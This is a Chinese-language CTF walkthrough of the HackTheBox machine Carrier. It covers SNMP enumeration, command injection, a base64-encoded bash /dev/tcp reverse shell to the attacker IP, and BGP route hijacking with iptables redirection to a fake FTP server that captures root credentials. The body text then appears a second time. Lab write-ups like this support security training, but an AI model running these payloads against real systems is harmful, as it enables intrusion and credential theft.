【HTB靶场系列】靶机Carrier的渗透测试
字数 1199 2025-08-15 21:33:54

HackTheBox靶机Carrier渗透测试详细教程

靶机概述

Carrier是HackTheBox平台上一台中等难度的靶机,涉及网络协议分析、BGP路由欺骗和SNMP信息收集等技术。本教程将详细记录从信息收集到最终获取root权限的完整渗透过程。

初始信息

  • 目标IP: 10.10.10.105
  • 本机IP: 10.10.13.133

信息收集阶段

端口扫描

使用Nmap进行初步扫描:

nmap -sC -F -sV 10.10.10.105

扫描结果:

  • 开放端口:21(FTP)、22(SSH)、80(HTTP)、3306(MySQL)
  • 21和3306端口被过滤
  • 22端口需要认证
  • 80端口是Web服务

Web服务枚举

使用gobuster进行目录爆破:

gobuster -u http://10.10.10.105 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -q

发现以下重要目录:

  • /tools: 显示"许可过期,正在退出"
  • /doc: 包含网络架构图和错误代码描述的PDF
  • /debug: 无特别有用信息

错误代码分析

从PDF中获取的错误代码解释:

  • Error 4005: 守护进程没有响应
  • Error 4009: 配置中没有设置默认的用户名和密码(查看机箱序列号)

SNMP服务利用

扫描UDP端口:

nmap -sU 10.10.10.105

发现SNMP服务开放,尝试弱口令利用:

snmpwalk -v 1 -c public 10.10.10.105

获取到疑似序列号:NET_45JDX23

Web应用渗透

登录尝试

使用获取的序列号作为密码尝试登录:

  • 用户名:admin/root等常见用户名
  • 密码:NET_45JDX23

登录失败,但通过Tickets页面发现:

  • 3个网段信息
  • FTP服务器地址:10.120.15.0/24

命令注入漏洞

在Diagnosticd页面发现Verify status功能可能存在命令注入:

  1. 使用Burp Suite拦截请求
  2. 尝试注入命令:root;echo hello
  3. 确认存在命令注入漏洞

反弹Shell获取

  1. 在Kali上监听端口:
nc -lvnp 9001
  1. 构造反弹Shell命令并Base64编码:
root;bash -i >& /dev/tcp/10.10.13.133/9001 0>&1
  1. 编码后发送:
cm9vdDtiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjEzLjEzMy85MDAxIDA+JjE=

成功获取user权限shell,可读取user flag。

权限提升

网络扫描

  1. 上传静态编译的nmap到靶机:
# 在Kali上启动HTTP服务
python -m SimpleHTTPServer 8000

# 在靶机上
curl http://10.10.13.133:8000/nmap -o nmap
chmod +x nmap
  1. 扫描FTP网段:
./nmap -Pn -vvv -p 21 10.120.15.0/24 --open

发现10.120.15.10开放21端口。

BGP路由欺骗

  1. 进入quagga配置:
vtysh
configure terminal
do show run
  1. 修改BGP配置,添加10.120.15.0/25网段:
# 编辑/etc/quagga/bgpd.conf
# 添加network 10.120.15.0/25
  1. 上传修改后的配置文件:
curl http://10.10.13.133:8000/bgpd.conf -o bgpd.conf
  1. 设置iptables规则并重启服务:
iptables -t nat -A PREROUTING -p tcp --dport 21 -j DNAT --to-destination 10.10.14.65:21
iptables -t nat -A POSTROUTING -j MASQUERADE
service quagga restart

伪造FTP服务

  1. 使用Python搭建伪造FTP服务:
# 从GitHub下载
https://github.com/b1ngda0/FtpServicePython/
  1. 等待获取凭证:
  • 用户名:root
  • 密码:BGPtelc0rout1ng

获取root权限

使用获取的凭证通过SSH登录:

ssh root@10.10.10.105

成功获取root flag,完成渗透。

总结

本靶机渗透过程涉及多个关键步骤:

  1. SNMP信息收集获取初始线索
  2. Web应用命令注入漏洞利用
  3. BGP路由欺骗技术
  4. 中间人攻击获取凭证
  5. 最终通过SSH获取root权限

这些技术在实际网络渗透测试中都有广泛应用,特别是BGP路由欺骗在企业网络环境中可能造成严重影响。

HackTheBox靶机Carrier渗透测试详细教程 靶机概述 Carrier是HackTheBox平台上一台中等难度的靶机,涉及网络协议分析、BGP路由欺骗和SNMP信息收集等技术。本教程将详细记录从信息收集到最终获取root权限的完整渗透过程。 初始信息 目标IP: 10.10.10.105 本机IP: 10.10.13.133 信息收集阶段 端口扫描 使用Nmap进行初步扫描: 扫描结果: 开放端口:21(FTP)、22(SSH)、80(HTTP)、3306(MySQL) 21和3306端口被过滤 22端口需要认证 80端口是Web服务 Web服务枚举 使用gobuster进行目录爆破: 发现以下重要目录: /tools : 显示"许可过期,正在退出" /doc : 包含网络架构图和错误代码描述的PDF /debug : 无特别有用信息 错误代码分析 从PDF中获取的错误代码解释: Error 4005: 守护进程没有响应 Error 4009: 配置中没有设置默认的用户名和密码(查看机箱序列号) SNMP服务利用 扫描UDP端口: 发现SNMP服务开放,尝试弱口令利用: 获取到疑似序列号: NET_45JDX23 Web应用渗透 登录尝试 使用获取的序列号作为密码尝试登录: 用户名:admin/root等常见用户名 密码:NET_ 45JDX23 登录失败,但通过Tickets页面发现: 3个网段信息 FTP服务器地址:10.120.15.0/24 命令注入漏洞 在Diagnosticd页面发现Verify status功能可能存在命令注入: 使用Burp Suite拦截请求 尝试注入命令: root;echo hello 确认存在命令注入漏洞 反弹Shell获取 在Kali上监听端口: 构造反弹Shell命令并Base64编码: 编码后发送: 成功获取user权限shell,可读取user flag。 权限提升 网络扫描 上传静态编译的nmap到靶机: 扫描FTP网段: 发现10.120.15.10开放21端口。 BGP路由欺骗 进入quagga配置: 修改BGP配置,添加10.120.15.0/25网段: 上传修改后的配置文件: 设置iptables规则并重启服务: 伪造FTP服务 使用Python搭建伪造FTP服务: 等待获取凭证: 用户名:root 密码:BGPtelc0rout1ng 获取root权限 使用获取的凭证通过SSH登录: 成功获取root flag,完成渗透。 总结 本靶机渗透过程涉及多个关键步骤: SNMP信息收集获取初始线索 Web应用命令注入漏洞利用 BGP路由欺骗技术 中间人攻击获取凭证 最终通过SSH获取root权限 这些技术在实际网络渗透测试中都有广泛应用,特别是BGP路由欺骗在企业网络环境中可能造成严重影响。